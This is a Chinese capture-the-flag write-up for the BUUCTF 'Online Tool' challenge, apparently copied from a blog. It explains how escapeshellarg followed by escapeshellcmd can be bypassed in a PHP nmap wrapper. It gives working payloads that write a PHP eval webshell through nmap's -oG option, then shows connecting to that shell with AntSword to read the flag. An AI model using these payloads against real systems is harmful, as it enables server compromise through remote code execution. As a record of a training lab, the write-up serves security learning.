当前位置: 首页 > ai >正文

BUUCTF——Online Tool

BUUCTF——Online Tool

进入靶场

在这里插入图片描述

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这段代码是接收用户通过GET请求传递的host参数,然后使用nmap工具对该主机进行扫描。同时,它会根据客户端的 IP 地址创建一个沙箱目录,扫描结果会在这个沙箱目录下输出。

主要看看escapeshellarg和escapeshellcmd函数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

构造一个一句话木马payload

?host='<?php @eval($_POST["cmd"]);?> -oG shell.php '
?host=' <?php eval($_POST["hack"]);?> -oG hack.php '

在这里插入图片描述

再拼接url

http://cd33caf8-8032-4c84-8da7-e2210086dff7.node5.buuoj.cn:81/e6305cd14dbe6e1fc4041d81cb3fc9ee/shell.php

在这里插入图片描述

再用哥斯拉连接一下

哥斯拉连接失败,看了一下,shell写的没毛病

玄学网安

换了蚁剑连了一下

连上了

在这里插入图片描述

找到flag

flag{0dec71f0-da5f-47b9-8f8a-afc9111a035e}

下播!

在这里插入图片描述

http://www.xdnf.cn/news/2768.html

相关文章:

  • 日本IT行业|salesforce开发语言占据的地位
  • Java后端开发day39--方法引用
  • 如何系统学习音视频
  • gitmodule怎么维护
  • 千问3(Qwen3)模型开源以及初体验
  • 设计模式(工厂模式)
  • Android Studio Profiler
  • 矩阵区域和 --- 前缀和
  • 【计算机视觉】目标检测:深度解析YOLOv5:下一代实时目标检测框架实战指南
  • 《图像采集与处理技术的研究与洞察》
  • 从架构原理到落地实践:Apache SeaTunnel×Cloudberry数据集成全解读
  • SQL命令一:SQL 基础操作与建表约束
  • 解决 Flutter 在 iOS 真机上构建失败的问题
  • 使用Qt QAxObject解决Visual Fox Pro数据库乱码问题
  • Token-Budget-Aware LLM Reasoning
  • c网络库libevent的http常用函数的使用(附带源码)
  • 玩玩OCR
  • RPC复习
  • 【MCP Node.js SDK 全栈进阶指南】高级篇(5):MCP之微服务架构
  • 对话式 BI:让数据洞察从“专业门槛”变为“对话本能”
  • 多模态知识图谱与大模型 图解合集(干中学ing)
  • 【机器学习】​碳化硅器件剩余使用寿命稀疏数据深度学习预测
  • matplotlib
  • 阿里云服务器(ECS)基础指南:从入门到核心场景解析​
  • 【网络入侵检测】基于源码分析Suricata的统计模块
  • python裁剪小说封面标题
  • 防洪评价报告编制方法及洪水建模实践技术-防洪评价报告编制方法及洪水建模实践技术
  • 搭建spark yarn模式集群
  • 为什么使用ThreadLocal后要调用remove()方法呢?
  • 9.5/Q1,GBD数据库最新高分文章解读